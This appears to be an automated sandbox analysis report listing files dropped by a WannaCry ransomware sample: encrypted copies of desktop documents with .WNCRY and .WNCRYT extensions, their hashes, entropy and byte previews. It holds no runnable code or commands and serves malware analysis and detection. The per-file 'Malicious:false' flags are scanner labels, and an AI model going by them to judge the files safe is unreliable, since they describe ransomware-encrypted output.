                                    MD5:E1B00B4DD2EB8B8AD3F2F12935F5E069
                                    SHA1:136553BE2EB3832B03F649A7D2517FFB1E12260E
                                    SHA-256:7AFE1D27698A54E9B244E32E225FA02DFF3D74BDACB28AFDBFD208D2A7B5CD0D
                                    SHA-512:DD5D1E2439FD2DB6F7A3961A5A7FA2867533B63B90D3F963DA7D1C5EFEF24620D480E8C801CCBD6E91C336F2132E72B5DE298985858198F011E4C86DFCF1B9DE
                                    Malicious:false
                                    Preview:WANACRY!......j...X..."-......Umi...fU..+.XUL...o.'.X..L.9..!...J..c....O......5.h4._..GL.......`X....R..9..*..B....P).+1{O.e.4.-....M..F.0).....;.t.l.uS....O=...k}C..E..m.S#.Sv&...9Q5xRgX....^U..B@GG..W..y._..u..s..`.?.. u.........gUc7...48.....'rZ. ............... <......4oGo..|....(.>..].M..{...;(.5.....a.3g....E#.#.s.v..;..j.......4xB.q.L.\.]h.....eg'X..KU%....7.E`8}.@.{...P.....Ms1....BA..]L...E#....N... ..p;.....r..>..:...ko...-..v...@....G.\..g.uw....]j......#....?.C;...G..F..2e..vG....zd.6'...wo......c.-..I.)/EL.... u.xY.'.......m.I%0nt.G;.....U.#t.\.>...Z....#.......[u.q.Y_..Wl.R}S.'.a.r.3...4...o...1..'.=.......q.......=^v%6s.j`Z.......4......z.N.CZ..zHql.....-...I..*#...eR$.K.X.........>.j^.3......Q..F.z."u..-./..U......(G9..a..$.!....`..>.j..KG.c.ON....Y..a.X..,E...:..W.J.F.qn.Q.2....A.......N.@.|..f.......;...e{.+.....L.`6..Ba>m../s..N.T..-..+.up7:..?.j.qo.D..X e{.6i.>d.".#.bm..........c..>.<b..j%J.nmR.I......t..!..

                                    C:\Users\user\Desktop\GLTYDMDUST\LFOPODGVOH.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.834086528628349
                                    Encrypted:false
                                    SSDEEP:24:bkP4hiAd1w4svloWZ2QzgbP2Iss7YnwLP4rZDDTr+N818X6N+Bi:bkP4I/4sviWZ38dbaZDDTr+NC8X+oi
                                    MD5:E1B00B4DD2EB8B8AD3F2F12935F5E069
                                    SHA1:136553BE2EB3832B03F649A7D2517FFB1E12260E
                                    SHA-256:7AFE1D27698A54E9B244E32E225FA02DFF3D74BDACB28AFDBFD208D2A7B5CD0D
                                    SHA-512:DD5D1E2439FD2DB6F7A3961A5A7FA2867533B63B90D3F963DA7D1C5EFEF24620D480E8C801CCBD6E91C336F2132E72B5DE298985858198F011E4C86DFCF1B9DE
                                    Malicious:false
                                    Preview:WANACRY!......j...X..."-......Umi...fU..+.XUL...o.'.X..L.9..!...J..c....O......5.h4._..GL.......`X....R..9..*..B....P).+1{O.e.4.-....M..F.0).....;.t.l.uS....O=...k}C..E..m.S#.Sv&...9Q5xRgX....^U..B@GG..W..y._..u..s..`.?.. u.........gUc7...48.....'rZ. ............... <......4oGo..|....(.>..].M..{...;(.5.....a.3g....E#.#.s.v..;..j.......4xB.q.L.\.]h.....eg'X..KU%....7.E`8}.@.{...P.....Ms1....BA..]L...E#....N... ..p;.....r..>..:...ko...-..v...@....G.\..g.uw....]j......#....?.C;...G..F..2e..vG....zd.6'...wo......c.-..I.)/EL.... u.xY.'.......m.I%0nt.G;.....U.#t.\.>...Z....#.......[u.q.Y_..Wl.R}S.'.a.r.3...4...o...1..'.=.......q.......=^v%6s.j`Z.......4......z.N.CZ..zHql.....-...I..*#...eR$.K.X.........>.j^.3......Q..F.z."u..-./..U......(G9..a..$.!....`..>.j..KG.c.ON....Y..a.X..,E...:..W.J.F.qn.Q.2....A.......N.@.|..f.......;...e{.+.....L.`6..Ba>m../s..N.T..-..+.up7:..?.j.qo.D..X e{.6i.>d.".#.bm..........c..>.<b..j%J.nmR.I......t..!..

                                    C:\Users\user\Desktop\GLTYDMDUST\LIJDSFKJZG.jpg

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.7848456553872785
                                    Encrypted:false
                                    SSDEEP:24:b4rtSfjQIC/yYLcB+pjxAMih2TvucFJnXE:b4pSfRwyYLcBUBRB0
                                    MD5:DC3B7F294E9B3258AB669834430CFBBD
                                    SHA1:0C90465B844EC8993EBC639B128C3B2657E9B165
                                    SHA-256:37EDBD0F4AE5B68DDBD456CFB11AEECE728F36C104AA1B0F75CD6A728746CBEB
                                    SHA-512:2C55DB5CD5E0990BF9C696816984629ACED0181D67FFBF1D886195A9A8D4B8A510CC1993C4F126C692AAF16D58FD32F0AA74CEAC23D833096B1D8279D497DA3B
                                    Malicious:false
                                    Preview:5.t..{.{E..%9.B..b.....L.prT..i,.u~.....u.0.....[...........HfO..p....;.?.'..0-7..5Ug3..n.O.w\b.Q..b..U'..6.n'.d.b.9.S..~...0d.k.0(....f.v...~.....N.n.X?a.7N.{....H...4Z1...J....W+A.DQ.n........I.!...O+..^.NR....et...j.. .A. .j.5y.P:5&.q(..Z._]#c.j.=v.m;(..#(.C.40.,....xuII.........+.V.!....R}?.....U.w.[..`.....w~.4.....Z..%.?.S.Hh.?..i*O..S.y...7....1..tS.6...]..}..v......_.+.C.'UK.......0/.6.n(p?N.....Tx....9..$:.!e.S...X8;..e.....b..p.<...:~%4.g...\........da..1..E.."z_Q.u....z..b.9......b.[........i..; wF.(.O..C2..2G...............L%WXu..f!K.Z...54'.fwD .YmN..O.u.-..cc...\.G=.*.0....eOI.T...G....G...x..u.K..G.'.F...T..5..r....).+D.a..1.{.;..W..gB......L..4.*..A.H...Q..q.>6..R6.v_..9T..b.."oS..!.L7.IH.#..W@..+Tm2h..5f.2..(..............0.{.Bz7..........9g4...:..sj..iQZ.Gw7........u...g...T.0..G7j.q9../.}.?....2..\...p......S..R.{......]..Kr.1............~..+0[...yf.$.cRi3".y..n3.....C....R..{....`?.[(..x......c...Xv.,1h..........@.u..

                                    C:\Users\user\Desktop\GLTYDMDUST\LIJDSFKJZG.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.850214634112269
                                    Encrypted:false
                                    SSDEEP:24:bkWfzthUIPuvSlIhhvFkd7OgzxZAvVRsncZmL8fbtewOMjr4Qmg4qnFpPvamviOb:bkWb7tuvrhvUt/U4WDOc4Q5dnXPvfqle
                                    MD5:C9BCA9FE22B5BD680000CF616E97692B
                                    SHA1:D57FA44C807AA0B13C1E61F1EEC910CF5EA4888F
                                    SHA-256:AE4C15E6A797F0B3208F0DF228E77BA1E78542315174320B6EF521B4A3DDC65D
                                    SHA-512:293BA46012310D0D01BCB698DC831C792D96FF02939CCF4979DCCCA427D17424FCCAFC1837D7B0574C16C93691211D35B4FF7D0CBB3B425E8828A6E35B5D2E3B
                                    Malicious:false
                                    Preview:WANACRY!....)4SI..`..m.?..{k.v>..;.!...+...rn=..9@...Z...r..dN.=._.....:.g...Sa.{8..2^Z.;I2NC...q)p...H tS.....!..4~...1.U........4n.|4X.dt'yx%-...^m..}n'....k...\.U...vZ.'...._......i.......M.............b(.....~.,..5Q.ZK.,.5v.&........Z.'.d0".|...&%K................w3j...SO..-R.....&..#..1..*k.s5^...R....1..Y.S...._V....P.3g..Q...<..t......./qv>Nx.....<.@R.N..._H...2..6Uw..,.....t...{....9.|..N.2.i...k[en..(.....PFU...l./1...x5....a<w ....%.(.|^...^.Fl.......z%.....I.n.,....)6...J..n_...k7j....-..~$.....n`!..L.w._.&....J.u..M...!....y=...-o.;..k.ac\...,..eK.%..6......Nw.u.!.<..<KJ..;jF.._...<.>.wN.w......J..4../.+.EDLz.M..\YM_.*#M`.-...<...k...6xGq\..3S.U.I.1....Zx..M......y^......s....l`..V.......k?.v0.@...F..&e#..G:jgy.=.b)........F.."d....h|@.N..(.&.Bg..u..s...q0.A....z[jL._..On.P....n..:.jl.1..l..F.6.w.....7..[...y%...t...\....)....va..sD......mt.]6.a~v%.....]..L.....q.R@.^.P)..v~....!BM.%...0.+#...j.y..84...$..,......e...;?..y....._..yh.

                                    C:\Users\user\Desktop\GLTYDMDUST\LIJDSFKJZG.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.850214634112269
                                    Encrypted:false
                                    SSDEEP:24:bkWfzthUIPuvSlIhhvFkd7OgzxZAvVRsncZmL8fbtewOMjr4Qmg4qnFpPvamviOb:bkWb7tuvrhvUt/U4WDOc4Q5dnXPvfqle
                                    MD5:C9BCA9FE22B5BD680000CF616E97692B
                                    SHA1:D57FA44C807AA0B13C1E61F1EEC910CF5EA4888F
                                    SHA-256:AE4C15E6A797F0B3208F0DF228E77BA1E78542315174320B6EF521B4A3DDC65D
                                    SHA-512:293BA46012310D0D01BCB698DC831C792D96FF02939CCF4979DCCCA427D17424FCCAFC1837D7B0574C16C93691211D35B4FF7D0CBB3B425E8828A6E35B5D2E3B
                                    Malicious:false
                                    Preview:WANACRY!....)4SI..`..m.?..{k.v>..;.!...+...rn=..9@...Z...r..dN.=._.....:.g...Sa.{8..2^Z.;I2NC...q)p...H tS.....!..4~...1.U........4n.|4X.dt'yx%-...^m..}n'....k...\.U...vZ.'...._......i.......M.............b(.....~.,..5Q.ZK.,.5v.&........Z.'.d0".|...&%K................w3j...SO..-R.....&..#..1..*k.s5^...R....1..Y.S...._V....P.3g..Q...<..t......./qv>Nx.....<.@R.N..._H...2..6Uw..,.....t...{....9.|..N.2.i...k[en..(.....PFU...l./1...x5....a<w ....%.(.|^...^.Fl.......z%.....I.n.,....)6...J..n_...k7j....-..~$.....n`!..L.w._.&....J.u..M...!....y=...-o.;..k.ac\...,..eK.%..6......Nw.u.!.<..<KJ..;jF.._...<.>.wN.w......J..4../.+.EDLz.M..\YM_.*#M`.-...<...k...6xGq\..3S.U.I.1....Zx..M......y^......s....l`..V.......k?.v0.@...F..&e#..G:jgy.=.b)........F.."d....h|@.N..(.&.Bg..u..s...q0.A....z[jL._..On.P....n..:.jl.1..l..F.6.w.....7..[...y%...t...\....)....va..sD......mt.]6.a~v%.....]..L.....q.R@.^.P)..v~....!BM.%...0.+#...j.y..84...$..,......e...;?..y....._..yh.

                                    C:\Users\user\Desktop\GLTYDMDUST\UNKRLCVOHV.xlsx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.83758546945294
                                    Encrypted:false
                                    SSDEEP:24:YTihYgKY/jaqAIGTzfNEbh5Jb5MyR0TAQl9Zk6t0jhzv3M:YwbXczfNS544QlD+hzv3M
                                    MD5:8F79458EEE25EA2FE9A7C3F2D58C6FFF
                                    SHA1:2AF32BB0AAC99632C011D950EC28F94D0EFCDE72
                                    SHA-256:86F1A59840F916A2BEB5028FD591D35086F06E0426387C500E9CC109A9D73082
                                    SHA-512:A71BA2C5D440A45400E0406AA35F23B906ECD8AF59F8A0655238E8304E9265C416F2C867ED4BD7AA88472255BA0BB469ABBA38E613637A885D8FF7A2E2266182
                                    Malicious:false
                                    Preview:ND7%....Op.C..@..Z..)..ks.....o../..|Hj.d.|...V.9M......vo.H...-..=\.sR..8...2.p.L.f..i&I~..O.p.|..K."U'u...\....}Fb.1...-.<.{8...Y...?-.s..tVr..}u.r..f.........ua.$u..ZA.]...:.....b........._......7....5.C.dkZc.,.....P.,.tbQTB%"."..KD...u..G\?..V.<...b.[..^..5.G..8.!)..Ew.uV.:.h...g.D.u;R...........T.rH{......,.q6."..y...vHc.^..).P.wDJ.........p$(..~+..X..#.vo...Y..p..O......;z.Bp.....njy%...i...(.lr.f..+.S..:! .F....|..g..A...}..?.S....\.....!...s...j..1.G..:...L....7<..=....f.&A.O.;y............X..U..".......AZ'.`Ng..g.5....j..b..M?*....L.p..I~.3..Cn?F..G..........\U...S..p..m.d..?d.6~......&.M....Qdq..q..n....H..0U...5.h.l$.Z.-...{.7... ......Wc.J.}..j...M..zk...M.X.CEv.X~...m.s....O...mc....9.X..t.......'.R..,$...._&...;QI..].sdg..F.f..e.f...-8.T.?...v.Uq7...4v....+..V.6Io*s....x..].2-DW..x\..|...k....g8..,...s......,...@..h..s....!.q.../w.di..e&..SO..Cg`.=.k.+=...~/-..5sX.I..~....3.tAL.:Fj.-..;...\.7.!4....*.....6.6Y.7.....R......

                                    C:\Users\user\Desktop\GLTYDMDUST\UNKRLCVOHV.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.84658323977546
                                    Encrypted:false
                                    SSDEEP:24:bks2vnMZv+bh7giCujcb311HN3M3NWAWU5jfR89U:bkPHyB31r4D5jRD
                                    MD5:90192A505D7123DF12073659506F73D5
                                    SHA1:D2A0BD289E88F64557FA37B6A24E0680FCAE61E8
                                    SHA-256:01C8FC8FC033D5482B575ABD185195C064C2E514F76C66418C474BD2AC8C1578
                                    SHA-512:47891E14D097BA87B44C98CFEC2F23B316EB0E841620269C793C2409A3F7644ED86AAB88B65CA5901514B869F27DF91055F2AE59E3D52AE50A80C6FBBABABF6E
                                    Malicious:false
                                    Preview:WANACRY!......B....`E.-|..<g..T.m.M}....`#2g....x...s*R.....bw).<r.h....}.........|.....l+tF...w~*..4.p.K.{m.S.AF1p....}7....CN....4..3....d.q..!..4..>.oIU..y.a.F.`D92.i.6."..u...;...?.,...+Y.....9.v......[op9@.dn.......v..?........0.o....+.n...'|.Z...............fG.!....W.c.kU........2.ls.E1...3K6k.......i.k.iG>.m.45@...m u.@..UT..RXkk!]..eWN.P...b..h......\/.`...h....^'w....H....0...n...\...$A{....%..H.!.l.....t...8....r..N....K.....G.......V{v..Cn:i|.;.G.97.^.............^...Ez...'[1m..q...Z.........yFz...O[`....8..W......d.....E/)f..7.9..f..e.p...e..].2...0....W$...g,....1!.......7...c..C.I..o<.r...)..5....1K.+...p....z..Xs......k...E:.#dL...TC.7.w.......L`.nsHS0..(FP....?b....m.=......$ll....;.2.../M..#A]....W.*_.0p..fs.lE.....e?... .*0..S=.3.-)'...z1P.Z...o.|..sJ..v...l?..q.B.._.nKt.>................R..N......l...'*.<0.....l.}.p....s.....k..Hy)..:!......h..2....6+. s...O.jy.)..D:\...T.wx.....X...E.......9aJ.....^...

                                    C:\Users\user\Desktop\GLTYDMDUST\UNKRLCVOHV.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.84658323977546
                                    Encrypted:false
                                    SSDEEP:24:bks2vnMZv+bh7giCujcb311HN3M3NWAWU5jfR89U:bkPHyB31r4D5jRD
                                    MD5:90192A505D7123DF12073659506F73D5
                                    SHA1:D2A0BD289E88F64557FA37B6A24E0680FCAE61E8
                                    SHA-256:01C8FC8FC033D5482B575ABD185195C064C2E514F76C66418C474BD2AC8C1578
                                    SHA-512:47891E14D097BA87B44C98CFEC2F23B316EB0E841620269C793C2409A3F7644ED86AAB88B65CA5901514B869F27DF91055F2AE59E3D52AE50A80C6FBBABABF6E
                                    Malicious:false
                                    Preview:WANACRY!......B....`E.-|..<g..T.m.M}....`#2g....x...s*R.....bw).<r.h....}.........|.....l+tF...w~*..4.p.K.{m.S.AF1p....}7....CN....4..3....d.q..!..4..>.oIU..y.a.F.`D92.i.6."..u...;...?.,...+Y.....9.v......[op9@.dn.......v..?........0.o....+.n...'|.Z...............fG.!....W.c.kU........2.ls.E1...3K6k.......i.k.iG>.m.45@...m u.@..UT..RXkk!]..eWN.P...b..h......\/.`...h....^'w....H....0...n...\...$A{....%..H.!.l.....t...8....r..N....K.....G.......V{v..Cn:i|.;.G.97.^.............^...Ez...'[1m..q...Z.........yFz...O[`....8..W......d.....E/)f..7.9..f..e.p...e..].2...0....W$...g,....1!.......7...c..C.I..o<.r...)..5....1K.+...p....z..Xs......k...E:.#dL...TC.7.w.......L`.nsHS0..(FP....?b....m.=......$ll....;.2.../M..#A]....W.*_.0p..fs.lE.....e?... .*0..S=.3.-)'...z1P.Z...o.|..sJ..v...l?..q.B.._.nKt.>................R..N......l...'*.<0.....l.}.p....s.....k..Hy)..:!......h..2....6+. s...O.jy.)..D:\...T.wx.....X...E.......9aJ.....^...

                                    C:\Users\user\Desktop\HMPPSXQPQV.png

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.8247921038028805
                                    Encrypted:false
                                    SSDEEP:24:XKIAYTonAqXI1xTz3dENLpqB/U7WfjE/jxmaNt56Y/G5V+G/:XnNTyuxvNENLpk/D7+ZV6YO6U
                                    MD5:103A0D964B45E812D9CDFC214EABE0D1
                                    SHA1:E2EFC8302E45ECEFF68ECA555A959537F2479FE2
                                    SHA-256:BA094D16EF2E1E9066FD419A7894E4C7A9213B254B12537C91F7A862FC4556E1
                                    SHA-512:633CFC53CED2C42A14EA93D979BCA1307C5C4F9D1AE640CE69D9F87D200646161DBA139E766825F3D9773EF660249D773A7D3353A476C1409208D98CFDD9113F
                                    Malicious:false
                                    Preview:q,[...j...(.oc.[.....R.x..u.l...vG.*.xr6g....._.|Y.i.y..o.7......m/xW&$.m./._#&..ZET.......iE.+/.h....d...n.SU....r1....g.%..42.&.D....h...}J....2.../3pB.Zy^..'..<Q.5.......C...|.3$..J)s ...5.........!.._..k.k...f.c...l.z.....N. .i7}...j....*A:. _@w.PW.4...L.......>.......W..U...<./t.#I"bF.2xc..5hB..P........0[..9.Sp9...{>..)m..U.>GZ..'h2..b....Z.fD.&n..F.....P!. Q.=..%Qv...,..d..0.......twq..n..|.R....j.I.....R..../..3..zH...L....lt.h+spd.Fa.y.+.r....Za1.bh...(Z.....8...S...S.....j..p."#..=.k\TB.ghE.-.$....'iG.$...\.<....q. _1..0....w..v...."%..n...\7..0%........A..r....u....Y[.."y...3s............BO..'.N...^...y........d.d....3.W.....d.....}.Pyg.".i.P.>.A..=H[..`K...I8.l.....@...M...4$.G....X..y..H.......+...).)....Wr...D..o..+.....,...v.9#...T.*....H..1.u_....;....*.K....9.....>.t..|r./.([...emL.........x...) .....c.w...a0.,H#pj............Z...(.c...qy.b...8..7...a....n..$...fk........Y.U. .vy....P..Mb. ..aQ..eNA..M.zf.`..>j.9..].G.

                                    C:\Users\user\Desktop\HMPPSXQPQV.png.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.875504828054437
                                    Encrypted:false
                                    SSDEEP:24:bk1iaL6IOr88EE5g49EsHT9F9cFIzejlL0jEpBMhZBLRgj31QK4kR7:bk15yr9H9F9FzWejETMhZMj+kF
                                    MD5:9EC65440057C8C7296B9C5E9291D46F2
                                    SHA1:A7EB31D3F75E9AE46357E109B9297D6DBD5533A5
                                    SHA-256:83328CB8306325274E54C9E656F759152F9244E0C151FDFD98BEDE88855C2E50
                                    SHA-512:1CAD53693316E5049056ED98DC8B15D4C2C577DF6AF5E071F625742B71BFA9BB83589C5E2C8E21FA127E2907EC6FC6F979CE73E12C3B80D3B691C60174D63FCE
                                    Malicious:false
                                    Preview:WANACRY!.......04.....e..S&.....!*m.^...,...&Q.J........u.w...`4...2.Z.&j...4HV..w..1....#.T..'&.)(..g..'.l.C.V.z...:....JN?;EM..#t.W..1.2....3e.t.&..%c.........av...z.n..B..yoam..;w..6.:.C._".D.......hz)p....F\.......F.....c..:..9..j._a...*Z./.s?G/U#.Q...............J.>.....1..F{.DK.;.. /...:\......m.....E....F.....a.\Kk.F.-x.5.%=.../zO.......!...:QU-......dK...c...` fV.....#".h...i...E)--..@{&a>.H....%^.Dm.X...?u.IS.Bm...`....y.I.$.....OdY.v..G..ayU.,.........x....4d..C.....".&.f.......t.K.%..6.WV.._UN..,p....A.......b.?>GvdP...9.<.B..z.z.......V..u..>..a../.mMe..YyB..;..^..X.f.<].....'.<.@.c.#p.z<)..x..=.h.....(53..J<.I.U.}...RI7....L..~....7HH.7..gN.r..g..o...`....^...4R.s.l;.K..O@.@lJ.S=......."MMW..)(.8...X.w~8...[f!...-Qu.'|....N2..1...LK.O........,C.%.{......,...(4._....n..5.,!.g.;.....T..p]+....s..Z......z{(&Or<P3..n.....?!...:..x6}.T$m..&c.C\...W. e.{..|.OL.Q.9.r.Bo....'.$r6r..|.^..Fw.....t....>{..........9..eW.z..\;"W+..?

                                    C:\Users\user\Desktop\HMPPSXQPQV.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.875504828054437
                                    Encrypted:false
                                    SSDEEP:24:bk1iaL6IOr88EE5g49EsHT9F9cFIzejlL0jEpBMhZBLRgj31QK4kR7:bk15yr9H9F9FzWejETMhZMj+kF
                                    MD5:9EC65440057C8C7296B9C5E9291D46F2
                                    SHA1:A7EB31D3F75E9AE46357E109B9297D6DBD5533A5
                                    SHA-256:83328CB8306325274E54C9E656F759152F9244E0C151FDFD98BEDE88855C2E50
                                    SHA-512:1CAD53693316E5049056ED98DC8B15D4C2C577DF6AF5E071F625742B71BFA9BB83589C5E2C8E21FA127E2907EC6FC6F979CE73E12C3B80D3B691C60174D63FCE
                                    Malicious:false
                                    Preview:WANACRY!.......04.....e..S&.....!*m.^...,...&Q.J........u.w...`4...2.Z.&j...4HV..w..1....#.T..'&.)(..g..'.l.C.V.z...:....JN?;EM..#t.W..1.2....3e.t.&..%c.........av...z.n..B..yoam..;w..6.:.C._".D.......hz)p....F\.......F.....c..:..9..j._a...*Z./.s?G/U#.Q...............J.>.....1..F{.DK.;.. /...:\......m.....E....F.....a.\Kk.F.-x.5.%=.../zO.......!...:QU-......dK...c...` fV.....#".h...i...E)--..@{&a>.H....%^.Dm.X...?u.IS.Bm...`....y.I.$.....OdY.v..G..ayU.,.........x....4d..C.....".&.f.......t.K.%..6.WV.._UN..,p....A.......b.?>GvdP...9.<.B..z.z.......V..u..>..a../.mMe..YyB..;..^..X.f.<].....'.<.@.c.#p.z<)..x..=.h.....(53..J<.I.U.}...RI7....L..~....7HH.7..gN.r..g..o...`....^...4R.s.l;.K..O@.@lJ.S=......."MMW..)(.8...X.w~8...[f!...-Qu.'|....N2..1...LK.O........,C.%.{......,...(4._....n..5.,!.g.;.....T..p]+....s..Z......z{(&Or<P3..n.....?!...:..x6}.T$m..&c.C\...W. e.{..|.OL.Q.9.r.Bo....'.$r6r..|.^..Fw.....t....>{..........9..eW.z..\;"W+..?

                                    C:\Users\user\Desktop\IZMFBFKMEB.mp3

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.843441434864849
                                    Encrypted:false
                                    SSDEEP:12:rZ+jdoX3LZoUUjV5Utfmi4Yr1qFkeNveZmCmw3ejUqSHLB/bljklMowlyYS0N4Vu:rIGyL6rszVCHVJB/9sMoDsN44foUxD
                                    MD5:257A61BCBC61E4B32EFB272072C5EF0B
                                    SHA1:E3DB30784EF39117F432BEF4F35321DB2C2A6C2E
                                    SHA-256:38358B46AF41FB8599F41A16927EB8A3871023D92FFB16038DC8883EAB1B84F4
                                    SHA-512:4830C943B62AD3759DA9872C5ED5A4329E42D409F1F24683DE494B10C62225D4893C92DF7DB4F7F68EAA519D8E3D4057A4CCCE2F46758ECE2B3E03951641A1BB
                                    Malicious:false
                                    Preview:"e.D...X5E-.5.{..Z;.-........\.5.Z.^7.|FqX.}.....>....J..$:..B..I.'.........S.Kn..Y.H..(......$.l.Vq...8d..w..{..A..U.b.YMO;.Dg#v.t.....v..4.P{.....%.5..|..m6..-........;...(..Qf'Q....*p......6d- .L..4>.X.0....].....\]1"..PY.Y...r..W..a......H.....b:..o...\..I..4.Z..I..qe...|....s:...U.O.W1..2...h9pz....\u...E......t.y.S&.X.L.......$.O.!.z.3.........'1......[~U..`.8.Qn........o..u.$..r!:.+d....0|fa....y....F.B...+.g_7#C.Nt..d......]..A..d.t.). "..(a....H..k<.....{..~.......Y.......8....5...55.\C..K:...H..D5...WZ.T9....u)Gp...,.E.....>j....W%0!.]..x....`a.+......qn.s..>...JV7...e&.....o..-.R..3l....W.....jG.A....KG.x........p.A!......:.....Q......^...2f.......4..r.".hM..A=/.|......yg........!n!.-...f......D...M..:`..x>.o.8V=...('C7..S. m.r@.*~.6..]...x..l..S..>,..^=..j-.-.!g7.p.e>.F"..."E]$t@......y e-4.5..]'j.^].i.\..S*....#.....=.".......<8....ZrEU..."u...%Y.0.Y.Kc.AW.._....9..9.....y... ..e.I...uA....7<.&i...%.....B.?.....?.H....7R.;...eS

                                    C:\Users\user\Desktop\IZMFBFKMEB.mp3.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8455389093194
                                    Encrypted:false
                                    SSDEEP:24:bkf0SgYFP24277udHd7TjIj2UOySLn04nvif7467a/jiHS:bkxVF+VXA9U4wNf77a+HS
                                    MD5:2E20A2F605EC96CBF0D80B18A581CC6C
                                    SHA1:2CFB5F992221B38086F1FDE1E0EE98BD16B52175
                                    SHA-256:157520C7C71ADB46F8F5DF33B275586FD40D1C1F2CC3A5614D30B6B5EADEF3CC
                                    SHA-512:DEC44565F8C730FCED50860FA58485D0FDB533EF17F245ACC85286095B902097F8F864F7F87790EC2DA5D54495112E7CA197901DA118B3D47B4369EB25B94D59
                                    Malicious:false
                                    Preview:WANACRY!.....m]..X.Zt.u.-.yR..,.X..@...Q.t.......#........f..~..N;=.z&..Y..v.,.V.zw........G..7%.l....&..i....o..P}.......e.l../..y.....8.._^B.m...T2..|:.Ak...-...t8.9Ke.q-F..{}..J.)~.i...3r.i.k&....]p...>...#...na....4.@Q\...;....W....u1.]">q".f...c4^.1..=-..............a.......].kO..<.......w....$>...d.......y.$....8AjoY(.r2]....A....d...uZH...g.....\J1.s...Q.f.T.....$....b...C........-.}.....S..4....WB..L.k.:...k..c.-j......nz.ne..R.:..7,.`..7...U..QV$.[.&WI.xB.........R..}T.n".U.D...ly..;.Q6.$...x.Q.~.0sw.R^.z_..TTp..AI.t.aMU.....+o.?.2F.'.;..*:.Y=OAG.T...5:.......[..)..7..b.KNB..Gh/.vo..[..jqcR.4.. ..cll?q....&N...H.......,.....e........o...Px...o[......#.j..<...(H...5T4o_c#.1X.w.....;a%$G,\x..4;.....iU.KK.-,.f.......*`....!...d..>........bA?.".wpz..>..uM..U.J.9....2[..#..d.?..i6P..Z`.t.Up..&i...?..d..'....z7..i.X.rA........R2c..*.t.O.W.d...P.c.E....u:....1...^).b.."@lCL.?%...o.....~./......b..i%.@..'!.:..q...v..C).P.....,=..k..[P

                                    C:\Users\user\Desktop\IZMFBFKMEB.mp3.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8455389093194
                                    Encrypted:false
                                    SSDEEP:24:bkf0SgYFP24277udHd7TjIj2UOySLn04nvif7467a/jiHS:bkxVF+VXA9U4wNf77a+HS
                                    MD5:2E20A2F605EC96CBF0D80B18A581CC6C
                                    SHA1:2CFB5F992221B38086F1FDE1E0EE98BD16B52175
                                    SHA-256:157520C7C71ADB46F8F5DF33B275586FD40D1C1F2CC3A5614D30B6B5EADEF3CC
                                    SHA-512:DEC44565F8C730FCED50860FA58485D0FDB533EF17F245ACC85286095B902097F8F864F7F87790EC2DA5D54495112E7CA197901DA118B3D47B4369EB25B94D59
                                    Malicious:false
